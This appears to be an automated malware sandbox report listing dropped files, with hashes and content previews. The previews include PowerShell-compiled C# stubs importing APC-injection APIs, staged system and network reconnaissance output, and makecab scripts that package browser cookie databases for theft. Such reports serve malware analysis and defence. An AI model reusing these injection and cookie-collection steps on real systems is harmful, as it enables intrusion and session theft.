Preview:	vk1VboY3elcR8cT1VMMmFhy4lUFSgrqbmNjxVSv9I/37QqHTv/+mCj+a6fKJ/XlxNVCOOuvlGelf3+EZgawVC5UeU/BRiONRD9At6V1UH0namcdYAIGIe0AppUzPVI2GKZAOLcitOu/gSSH7DtM8AK7zrO2NJm+USncN6soOMDDOjaiIdckYadYJT+DDAPSzOImqdHNjcAgA9FTx80H2hDMn3tzpz01zZ9df3NsEuVoDmZpSKfww3waaOYsYgzTubYXwvjILsKKE/BwRehNXX4JOM/w7/hC46hsIhKMEXumdvcOmzPyS8TQ9lpOnTbuH24LYdlvlZJQV2QZPHsCupwbUnaGM0EuRprRYxTctouhcouFClpgEerUEI2lPr8CXEUoVugF71YMlT20ezHJsgvt/cV2iEwaVGGJoYtkVIXBCuIWqCD5W1F3JrMvPTDtUu8LoGrUGRJeZI6PAXTAwTwCR4tnkZ8Xy2BU/Uz1PubaN8tuDr+Mx71Qgnvo/evqx8Ctnyb2GgqfsYCQZ+MMPvxh8tt2XUWLA2k077yxBdk2NCVeOfZWs5zhYkij1ed9Xo1MBmCZHNj/VtcU0/HJj2JbYg+KZaR4FkPp0nyz1SWYFxKDVIMTjKp+LvY/nYa5D4uswkfRo2uc4rNuxi9bBfO8sOBrXQF+2HEy7DpILvCdj+WXSdem1/VAMk7UFb7lD07uZ4Rogkeiql/wnfIOXF9zzhEyzUi6qtdogTItDMxHh7P5ER+vOAHKg6ne2Iy9LD+RWcKJz4R14/FDtnKqfjmlITz1RHBF8eoW0DVt1tRLmxkXpUz+rVtXKQM3lyvTdjo7jKBDKThtsGNBfM6qRLbx8Mb9BO4cRsJDZ+EVpnmdzlLwnFM3KfQben83B1ROdgOTTfTMfHgj3vx7WLPRveBL4/ihzk93XtzmBxEXxSnGrKygEFdU5bbDLT6q3TiI30A4vAsDVtZA8h16HqNvcWBcf1FbS8KvE3SjK3j+M

C:\Users\user\AppData\Local\Temp\245D.bin Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	107
Entropy (8bit):	4.933408313318252
Encrypted:	false
SSDEEP:	3:tFoYXBsJaQGQbXp4E2J5xAIkLW0HbRQ9itzy:tFdXBWP23fCvVQ9itG
MD5:	C95CA8F888D9B615C75853E2FECF7DBC
SHA1:	6330B62250559808830DDED9018234FD58796FB3
SHA-256:	E93205F9F2F8B4DD7C850659B900F8F3D1D46DB1279810882782C884440E3B8A
SHA-512:	2722841CB136A48BDCA1672319ADA0B7292D1DA0F7C2EA28646A974480BC67EA600CEC383FF445F02E5A56AE4C15E4E20154434AD26563BAA4D17BD3DD41E094
Malicious:	false
Preview:	.set MaxDiskSize=0...set DiskDirectory1="C:\Users\user\AppData\Local\Temp"...set CabinetName1="CBA0.bin"..

C:\Users\user\AppData\Local\Temp\29B8.bi1 Download File
Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	11
Entropy (8bit):	1.2776134368191157
Encrypted:	false
SSDEEP:	3:111Qv:Luv
MD5:	5B3345909519932D6670D92F16496463
SHA1:	6CCABAAC9315486C106AB1BBB7E6F153F5C1A3BD
SHA-256:	0B5C0F6FFAC14107357E2C1BFE0DEA06932FD2AA5C8BD598A73F25655F0ABFD5
SHA-512:	B41A0E9BA8A092E134E9403EA3C1B080B8F2D1030CE14AFA2647B282F66A76C48A4419D5D0F7C3C78412A427F4B84B8B48349B76FF2C3FD1DA9EC80D2AB14A6B
Malicious:	false
Preview:	-------- ..

C:\Users\user\AppData\Local\Temp\7DDE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	306101
Entropy (8bit):	7.987584901869807
Encrypted:	false
SSDEEP:	6144:tNOn4rFLPodmRqyAVYtlKsVLCyo7NtbcY7uLaG/9t7+MS:tNOn4FPM8R3AsB+bjej/9cV
MD5:	19EA9C52AD2C2129D449134836377992
SHA1:	8DF8004061B9C88294A2008085180DCD9BACA70F
SHA-256:	EDD0C95B0CD5435DCC395C3238453F63C0B505247D0D67CC71A63137CA789A45
SHA-512:	8D6115DDAD9E57C6A36E05CA785C295BA9DF3506CC6FA5D58E70E2EB2199593D780C0574A1293AFD58651EF504D5E243BA3E8EA8E4DEE5B2786FCAA7BEF5C856
Malicious:	false
Preview:	.UKO.0......\|E....Z5..G@....=M..%.........4-p.....M<.^...^ ...e..U.W.u-..t[.g.&.0.A...zv.m.........O)...e.V`..8ZY.hE.... .Rt./'.+..K.R.2..M..B<.T.....\;V....Z&B0Z.DF..S;"._,....%..C....H.4!jR..............6{...#".....rh.YJ.^.<...Q.+..0..Q+..DLw.RZ\|e.......0I..b.+..).5V..o....5....J.........#9.\I!..Q\|.F...h3..3./.G.....cr.v..r.\|..f.>Lk.xD=..rC:....1......#>T......>..@tH...C..iNF8=.....u ".I.v....[E.^...^.S\...._c........PK..........!.._v.....v.......[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8pjpp9kb.0.cs Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.033700954357837
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuJwlmMRSR7a18PKNmLTNlASRa+rVSSRnA/fgBQZfNaReBqy:V/DTLDfuqlMDKkLTv79rV5nA/WwgeBqy
MD5:	39E11F07A1F54792A10D3EB5204C7692
SHA1:	31EF54B2B7F74D6B0768DDA602C428ADFED96CD4
SHA-256:	4C4BCD84956847402F4C833B4ABC060C08BBF021FAD35E7065FEAF23241B9D73
SHA-512:	51F845E87F935591400C2B9AD921A6807148ADFC4FC8092252156A42D927DA1CD92127516943866B29BE9361D503F74C5F055EDA280C38E4D07A6D2B941B44A8
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace W32.{. public class agqtllk. {. [DllImport("kernel32")].public static extern uint QueueUserAPC(IntPtr kboqiwchttv,IntPtr qeavqg,IntPtr afabc);.[DllImport("kernel32")].public static extern IntPtr GetCurrentThreadId();.[DllImport("kernel32")].public static extern IntPtr OpenThread(uint mljbljq,uint ojqrosudc,IntPtr mfnnl);.. }..}.

C:\Users\user\AppData\Local\Temp\8pjpp9kb.cmdline Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.3010007269376285
Encrypted:	false
SSDEEP:	6:pAu+H2LvFJDdq++bDdqBnP23fPmmGsSAE2NP23fPhx:p37Lv+nmnPAE2Unhx
MD5:	0AC4416FE42503564F5AA56E2DCA5E74
SHA1:	A9B5C5E4F992FEBD8830C71B9C8FF302B0A23B38
SHA-256:	2A8B4AB100738175CE761ED9B06DC34BAD75FC5FF90B3FCE54003DAC2FF37B47
SHA-512:	C5D9ED14B3D7D9AD365315B127B388E12076965A9E8A7C5F54B24416E434B6D502657B31DB15AC5988DE7149CFFEADB468009418253E069ED080FCCCF42252D4
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:"C:\Users\user\AppData\Local\Temp\8pjpp9kb.dll" /D:DEBUG /debug+ /optimize- /warnaserror "C:\Users\user\AppData\Local\Temp\8pjpp9kb.0.cs"

C:\Users\user\AppData\Local\Temp\8pjpp9kb.dll Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	2.973286814046447
Encrypted:	false
SSDEEP:	48:69+Jp+iCfrH6uJyIYiqe5Hn61ulea3aq:PJpwfL/L3TQK
MD5:	9C0F64F8CAF14A42AE8E068EA68EE57A
SHA1:	1B2E6214E0555312B947E92BB9A13230B0514403
SHA-256:	47F13974E9AF203A59E7CFEE927121F76176E24473ABA8E035459EC61344DD43
SHA-512:	EDFE6C1CAF5F874A998A41551411ABB2B02A7464153C46029443BF20CC35D8DA2B00A6FB30AD53DE57A78B53C031C98843042BA6017130D560D2734097B89BC8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....."`...........!.................$... ...@....@.. ....................................@.................................x$..S....@.......................`.......$............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B..................(....*BSJB............v2.0.50727......l...`...#~......t...#Strings....@.......#US.H.......#GUID...X...d...#Blob...........G..........3............................................................3.,...~.k.....................'...................................... :............ G............ Z.....P ......e.........C.....O.....V.....\.....d.....n...e. .!.e.&.).e...1.e.+...e.......0.....9.....B.:.....:.......G.......Z.......................................#........<Module>.8pjpp9kb.d

C:\Users\user\AppData\Local\Temp\8pjpp9kb.out Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	198
Entropy (8bit):	4.894444435447011
Encrypted:	false
SSDEEP:	6:zx3MaGt/zVJLIEUQt+x3MIMe6jfobbItRZBXVR5y:zKai3jtEKIMBj6I5BFR5y
MD5:	182738883BFDFB548627BEC18305C7EE
SHA1:	FD5A8D41B96844985C0DC21116CFA689CED8AABE
SHA-256:	5026CA6D4A10F43342AC0AD1E7536686D1E32DE5EAA6E9478BDA11FCA1B78622
SHA-512:	9A029DF52BAE31B8E69BADECA6AD4A8DA19D12557EDFCC2A85DD0C85EBEA9090E79CAD09DC4DCF9D905D73628FA41FDD7D0A2577D4B4A716DA0A6EEA02ADF3D0
Malicious:	false
Preview:	Microsoft (R) Visual C# 2005 Compiler version 8.00.50727.5483..for Microsoft (R) Windows (R) 2005 Framework version 2.0.50727..Copyright (C) Microsoft Corporation 2001-2005. All rights reserved.....

C:\Users\user\AppData\Local\Temp\8pjpp9kb.pdb Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
File Type:	data
Category:	dropped
Size (bytes):	13868
Entropy (8bit):	0.9279241152219808
Encrypted:	false
SSDEEP:	12:9RzsQFeL3iRzcWRzsctGXS/KtS+V+q7eLFZiLyRz/CW/:v1R4i7tL/KzxL27f/
MD5:	EE98E5E511E401244C31C24A73FABFA5
SHA1:	3CF7BA18FADFE0E541CCF40DAE213353B69AAA68
SHA-256:	EB95CE0B60C6B0B71C077EAE3D2B271A1818F4B0610E325DCC04097C77683F9B
SHA-512:	76EC0CD2CCB690A5D93C833CD3D0D06904558390684914145BEF882704797A341F3D750BDFF1CA97DA9056EBEC7A62D087C9116292D39C226F9146FE7C7570DC
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A8F1.bin Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	81133
Entropy (8bit):	5.04133878478845
Encrypted:	false
SSDEEP:	1536:VXElf0XiNyc+Dmtn5lBuZyN8N6dqOv3Yc8/IQzrvd1:V7QyrF1
MD5:	7651973C318A4B3FC2C7FCCD46199031
SHA1:	05CF1A716D82A599F5FDDD8E0B07091C23AEBE90
SHA-256:	B5881103B231E06B4E735DE8B02CFB822EA34B178E570191AD61496FFE36770A
SHA-512:	4461E16E86B30F1ED0714EAD517D74D92D764B54CF2D2B861F6C3C4CAB73976A8C872F3202275E0E1515B24844E4A5CD9BAB071D57FC80D5259B71F85AC24E5B
Malicious:	false
Preview:	..Host Name: 134349..OS Name: Microsoft Windows 7 Professional ..OS Version: 6.1.7601 Service Pack 1 Build 7601..OS Manufacturer: Microsoft Corporation..OS Configuration: Standalone Workstation..OS Build Type: Multiprocessor Free..Registered Owner: Peter Miller..Registered Organization: ..Product ID: 00371-OEM-9044585-15883..Original Install Date: 9/12/2019, 8:01:46 AM..System Boot Time: 2/9/2021, 10:14:52 AM..System Manufacturer: b6KZOPwO6gzXEMZ..System Model: eZ4oSbaG..System Type: x64-based PC..Processor(s): 2 Processor(s) Installed... [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2194 Mhz.. [02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2194 Mhz..BIOS Version: LGAKC ENB3W, 12/12/2018..Windows Directory: C:\Windows..System Direc

C:\Users\user\AppData\Local\Temp\B36F.bin Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	153
Entropy (8bit):	4.98300239003775
Encrypted:	false
SSDEEP:	3:tFoYXBsJaQGQbXp4E2J5xAIkLW0HbRQ9wPgzoO1Xp4E2J5xAIAjBIv:tFdXBWP23fCvVQ9wPgzdP23fGBS
MD5:	D8EBF437EC63E54949491B21BC6986D4
SHA1:	A4F94075458174F2273AF7B08EE03607EF4C9CBF
SHA-256:	6743F403B8448203DDF4CE8F2E4C34A6489AAA4800B119DD985CDB66632326F8
SHA-512:	474D0730FD5CF60352B453A6BF858A93C2B8CDACCA9E43E3EFAC455BB77F512AD07DA6B42F1D72539C4C83879F214227D217C19823482C8A7A4FEFB33569F1C8
Malicious:	false
Preview:	.set MaxDiskSize=0...set DiskDirectory1="C:\Users\user\AppData\Local\Temp"...set CabinetName1="BC13.bin".."C:\Users\user\AppData\Local\Temp\A8F1.bin"..

C:\Users\user\AppData\Local\Temp\B55E.bin Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1807
Entropy (8bit):	4.553302685196237
Encrypted:	false
SSDEEP:	24:IA63BAbP9b7CX33AMSD6bzlAbRNIvoMgPw8RTt/WZwZ3k0w8bsSRjwZ3E1p:IA63BAxarSWbmb7zl1t/VZ5ASR8ZA
MD5:	C888547F17101BCD3EBDF2CF01353909
SHA1:	01C1D24FB63F96E6B86EBFE3962473232D7877D3
SHA-256:	5ACA484039F12A4B49E097DC99D77E1889FE5FE37C697A9A527DC3753CB5A801
SHA-512:	B9159FA2D4550DA9466344024EA4E55AC2247A9CF6A7A9A4873188E0D1F4D7263DE21FB6C98545FCB6767431863926F092DAB7B333021A9950F980135BD57DB0
Malicious:	false
Preview:	..Windows IP Configuration.... Host Name . . . . . . . . . . . . : 134349.. Primary Dns Suffix . . . . . . . : .. Node Type . . . . . . . . . . . . : Hybrid.. IP Routing Enabled. . . . . . . . : No.. WINS Proxy Enabled. . . . . . . . : No....Ethernet adapter Local Area Connection:.... Connection-specific DNS Suffix . : .. Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection.. Physical Address. . . . . . . . . : EC-F4-BB-B5-91-5B.. DHCP Enabled. . . . . . . . . . . : No.. Autoconfiguration Enabled . . . . : Yes.. Link-local IPv6 Address . . . . . : fe80::cc4a:db3a:b90:d45e%11(Preferred) .. IPv4 Address. . . . . . . . . . . : 192.168.2.22(Preferred) .. Subnet Mask . . . . . . . . . . . : 255.255.255.0.. Default Gateway . . . . . . . . . : 192.168.2.1.. DHCPv6 IAID . . . . . . . . . . . : 234884137.. DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-26-AB-8D-DF-EC-F4-BB-B5-91-5B.. DNS Servers . . . . . . . . . . . : 8.8.8.8.. NetB

C:\Users\user\AppData\Local\Temp\B55E.bin1 Download File
Process:	C:\Windows\System32\ipconfig.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1796
Entropy (8bit):	4.5503467575782865
Encrypted:	false
SSDEEP:	24:IA63BAbP9b7CX33AMSD6bzlAbRNIvoMgPw8RTt/WZwZ3k0w8bsSRjwZ3T:IA63BAxarSWbmb7zl1t/VZ5ASR8ZD
MD5:	3B816D2C2F02E224A328211B1B504534
SHA1:	6A301E0998FEC150C147F583FB85FE96EA218621
SHA-256:	C21A6F6ABE8F9254BAD53F5225EFC1D8C2599BB35D661FC5B958E2CE332A2C6F
SHA-512:	13A3359875226A160DE5F4887917DD1AB3EDF6FBE3893C0F6F0F8DCCA1E8BF408B170F86F982A50DD3BAEA758666A3452E328A655D3B51A073094CCA66133B23
Malicious:	false
Preview:	..Windows IP Configuration.... Host Name . . . . . . . . . . . . : 134349.. Primary Dns Suffix . . . . . . . : .. Node Type . . . . . . . . . . . . : Hybrid.. IP Routing Enabled. . . . . . . . : No.. WINS Proxy Enabled. . . . . . . . : No....Ethernet adapter Local Area Connection:.... Connection-specific DNS Suffix . : .. Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection.. Physical Address. . . . . . . . . : EC-F4-BB-B5-91-5B.. DHCP Enabled. . . . . . . . . . . : No.. Autoconfiguration Enabled . . . . : Yes.. Link-local IPv6 Address . . . . . : fe80::cc4a:db3a:b90:d45e%11(Preferred) .. IPv4 Address. . . . . . . . . . . : 192.168.2.22(Preferred) .. Subnet Mask . . . . . . . . . . . : 255.255.255.0.. Default Gateway . . . . . . . . . : 192.168.2.1.. DHCPv6 IAID . . . . . . . . . . . : 234884137.. DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-26-AB-8D-DF-EC-F4-BB-B5-91-5B.. DNS Servers . . . . . . . . . . . : 8.8.8.8.. NetB

C:\Users\user\AppData\Local\Temp\C730.bin Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	153
Entropy (8bit):	5.007247526930212
Encrypted:	false
SSDEEP:	3:tFoYXBsJaQGQbXp4E2J5xAIkLW0HbRQ9mHzKH/1Xp4E2J5xAI0x:tFdXBWP23fCvVQ9mTK9P23fS
MD5:	B942E06021CB8B9629FBB11F25FA98EB
SHA1:	4827705DA43D553A13C4E3ADC7AFDBA922F1CF39
SHA-256:	1858CFBE803BF25E6C30B97BAE90AB1CEF7C09823DD026D9B020779B18E6C688
SHA-512:	AEB1A4B87C4D4B5EFB985E8A3ABAD56234D9317FB0C175FD2D4544BF2344B778CC1113C52903F0F78C77D679B3901512572D4F6F50B521335C35B43BCFB906AB
Malicious:	false
Preview:	.set MaxDiskSize=0...set DiskDirectory1="C:\Users\user\AppData\Local\Temp"...set CabinetName1="CFD4.bin".."C:\Users\user\AppData\Local\Temp\B55E.bin"..

C:\Users\user\AppData\Local\Temp\CSC6C1C.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1164383104356013
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grygak7YnqqmPN5Dlq5J:+RI+ycuZhNeakSmPNnqX
MD5:	EFCD3D6D7C62906F56156DFF1249CBB7
SHA1:	9EE9AE3373B5DC8204E4173245A5FBFE998BCEA4
SHA-256:	62D0E594A8D46386DB9D8CE8490AA46E656068D367132D43E320C4A0217217F4
SHA-512:	B8BBFB80D309DB526B82964A041350929487E2290FDA239AFC627BB5ED6E3C71049699269ACC7F92EFF3441307D4CF5F2E4A114BF73B713C0BBD1EDDC1984203
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...8.p.j.p.p.9.k.b...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...8.p.j.p.p.9.k.b...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\CSC8BAD.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.104427429518945
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry1ak7Ynqq5PN5Dlq5J:+RI+ycuZhNnakS5PNnqX
MD5:	1981A969C7BA58594D61115A5A411243
SHA1:	60FB388E9F2A204A68C3724824DA0A14E983D8C3
SHA-256:	57D33889EE5084C9D7716C60EECC98CC7D2E5E3F28BCF2680115B35292638BE4
SHA-512:	74BA13C6C53F4FD2A08324447FE76787AE0F4D47FD34324AC0C3BBFEC2BB772280F78F8DAA8AA6656DD10159FEF7B4350242FA2A6CF849AA5A961AC0AB249833
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...v.l.8.o.3.v.8.u...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...v.l.8.o.3.v.8.u...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\D525.bin Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	262
Entropy (8bit):	4.93527258424715
Encrypted:	false
SSDEEP:	6:tFdXBWP23fCvVQ9lHTjxcmRrAITNTk7+k7HMnLa:tdTCy9lHKmRkSo7T7sLa
MD5:	39599E1FB8B96301C72DCF281D92FC15
SHA1:	4F73928D2F87DC99790CA00E548206B5365AA190
SHA-256:	C3456AD88DBCF324739EB1DB2B4822D5EE1EFD6C7AC70BC7E4FC45763F19897E
SHA-512:	A928F3D20CF25B9E046C2851521A6F1CA59F499F86A8960729EF118196AF2D66E928640893632A2841780E132EC760985B283BDBE406D263E060952489021556
Malicious:	false
Preview:	.set MaxDiskSize=0...set DiskDirectory1="C:\Users\user\AppData\Local\Temp"...set CabinetName1="DDC9.bin"...set DestinationDir="cookie.cr".."cookie.cr\Cookies.cr"...set DestinationDir="cookie.ff\7xwghk55.default".."cookie.ff\7xwghk55.default\cookies.sqlite.ff"..

C:\Users\user\AppData\Local\Temp\RES6C1D.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
File Type:	data
Category:	dropped
Size (bytes):	2052
Entropy (8bit):	2.378264834131679
Encrypted:	false
SSDEEP:	24:zk0XdHhUnhKgI+ycuZhNeakSmPNnqjtpzJ9YeS:zHtunhKg1ulea3aqj8eS
MD5:	197E27006F6985896B3088E7B98A1DB7
SHA1:	C74312822683D407D256D6DDB03EB52A8BF9CF23
SHA-256:	A98410B9FCBBA46E6B58D809451387F86AED8AA29E7147398C6368A72E2CDF8D
SHA-512:	1307F51010F6DB082731C14B855A324A1C0977ECD62ADAACDE0D34B6BDEC9F4A6C88774D50CFC6CBAF6187C1996F7F67DA713EB4770C5E0FE2A6BD1522B85E68
Malicious:	false
Preview:	......../....c:\Users\user\AppData\Local\Temp\CSC6C1C.tmp..................=m\|b.oV.m..I.......c...4.......C:\Users\user\AppData\Local\Temp\RES6C1D.tmp.+...................'.Microsoft (R) CVTRES....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RES8BAE.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
File Type:	data
Category:	dropped
Size (bytes):	2052
Entropy (8bit):	2.3789650855006053
Encrypted:	false
SSDEEP:	24:zix0XdHdxUnhKgI+ycuZhNnakS5PNnqjtp7J9YeS:zdt9+nhKg1ulna37qj0eS
MD5:	D7092E92272E059D7446EFF5A4F5B41D
SHA1:	7D6A4BEF397E50166FC4DD1FACE7E33B89F8E575
SHA-256:	1D1BBD36922B50C4F4AD25F281B62CBF5C3975ABC6328B658BC05FCB11119A4E
SHA-512:	E7FC27243D13ECB0EC3FD9C2DAA3AB599E8271CD2E032CAA651FCBA6281536B7F4A78E47C9F9834B33DC226665C93CD76A5B001620346459E0C044806657A462
Malicious:	false
Preview:	......../....c:\Users\user\AppData\Local\Temp\CSC8BAD.tmp...................i.XYMa.ZZA.C......c...4.......C:\Users\user\AppData\Local\Temp\RES8BAE.tmp.+...................'.Microsoft (R) CVTRES....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vl8o3v8u.0.cs Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.042625251605576
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuJUMRSRa+eNMjSSRr8jJXLSRHq1aciAL/K7RXf2y:V/DTLDfuQ9eg5r8jl2uaciM/K752y
MD5:	D926107FD8AB7346C82353F3FEDD1DB3
SHA1:	C0CD1EC04F1D5F06E1FF931F4E6FED1DB849E408
SHA-256:	2DF76E5F440E16B4CA6C646072B32698FD39E630E205244C00E7764485AD1305
SHA-512:	35185FF5D6D4A4CF1A54A9EFD712966860F634957F7073BDD26904F2FD40E58D3420261DE6C62045BCB4239DBA1CA3846C78F8A203F9CE280E4138DD5D02D0F8
Malicious:	true
Preview:	.using System;.using System.Runtime.InteropServices;..namespace W32.{. public class fncjmqf. {. [DllImport("kernel32")].public static extern IntPtr GetCurrentProcess();.[DllImport("kernel32")].public static extern void SleepEx(uint bhhyune,uint gooikyws);.[DllImport("kernel32")].public static extern IntPtr VirtualAllocEx(IntPtr sdy,IntPtr lwxjapyhv,uint xcvsoo,uint bbkpqmr,uint whnuhgs);.. }..}.

C:\Users\user\AppData\Local\Temp\vl8o3v8u.cmdline Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.271595657917628
Encrypted:	false
SSDEEP:	6:pAu+H2LvFJDdq++bDdqBnP23fLqJQmGsSAE2NP23fLnWHn:p37Lv+LnPAE2UTWHn
MD5:	33F54DC4485BBF7B6160A3ED620271A3
SHA1:	EC1408DF1D349B399AE02861B9780965BABDCC15
SHA-256:	B183972395FFF62853D4CE1F58F0ED8D9089F41DED9F24BA8C8423FFE1E78CD2
SHA-512:	14914513FE47863D992BE425EA5CA1A1E40BCB242C7438985C028734B17D6F0CF8FB2C67A22FB68DB2EF2EB0BC2E97F3A50375D7C15F5B911BD863975B334EFD
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:"C:\Users\user\AppData\Local\Temp\vl8o3v8u.dll" /D:DEBUG /debug+ /optimize- /warnaserror "C:\Users\user\AppData\Local\Temp\vl8o3v8u.0.cs"

C:\Users\user\AppData\Local\Temp\vl8o3v8u.dll Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	2.974432493754187
Encrypted:	false
SSDEEP:	24:etGSN9BW25evSLDJxY2IiSJ3w3CddWRbdPtkZfHx2rED9/XI+ycuZhNnakS5PNnq:6RdRDJPIvJjWbuJHCEDRX1ulna37q
MD5:	5778304383DE3B49D27CE4C8E059284C
SHA1:	792C2D2FE49A938CFB6853D3C44415BDAE85AA99
SHA-256:	7475100C1AAE09709C35C71F520AD78812D7E156991F3417A652AB849789C96D
SHA-512:	D8EA1E2091EADB8AAF82A6A7CFE1378CC503F402F4A2DC3E95C082FBCD73AD90B04FA6872D7F19AAAC59C9DC1EB700B80643006A0C82E0C366982DA50BFC5323
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....."`...........!.................$... ...@....@.. ....................................@..................................$..W....@.......................`...... $............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B..................(....*BSJB............v2.0.50727......l...h...#~......x...#Strings....L.......#US.T.......#GUID...d...d...#Blob...........G..........3............................................................3.,...\|.i.....................%...................................... :............ L............ T.....P ......c.........A.....I.....R.....V.....`.....g.....o...c.!.!.c.'.).c...1.c.,...c.......1.....:.....C.8.....:.......L.......T.......................................#..........<Module>.vl

C:\Users\user\AppData\Local\Temp\vl8o3v8u.out Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	198
Entropy (8bit):	4.894444435447011
Encrypted:	false
SSDEEP:	6:zx3MaGt/zVJLIEUQt+x3MIMe6jfobbItRZBXVR5y:zKai3jtEKIMBj6I5BFR5y
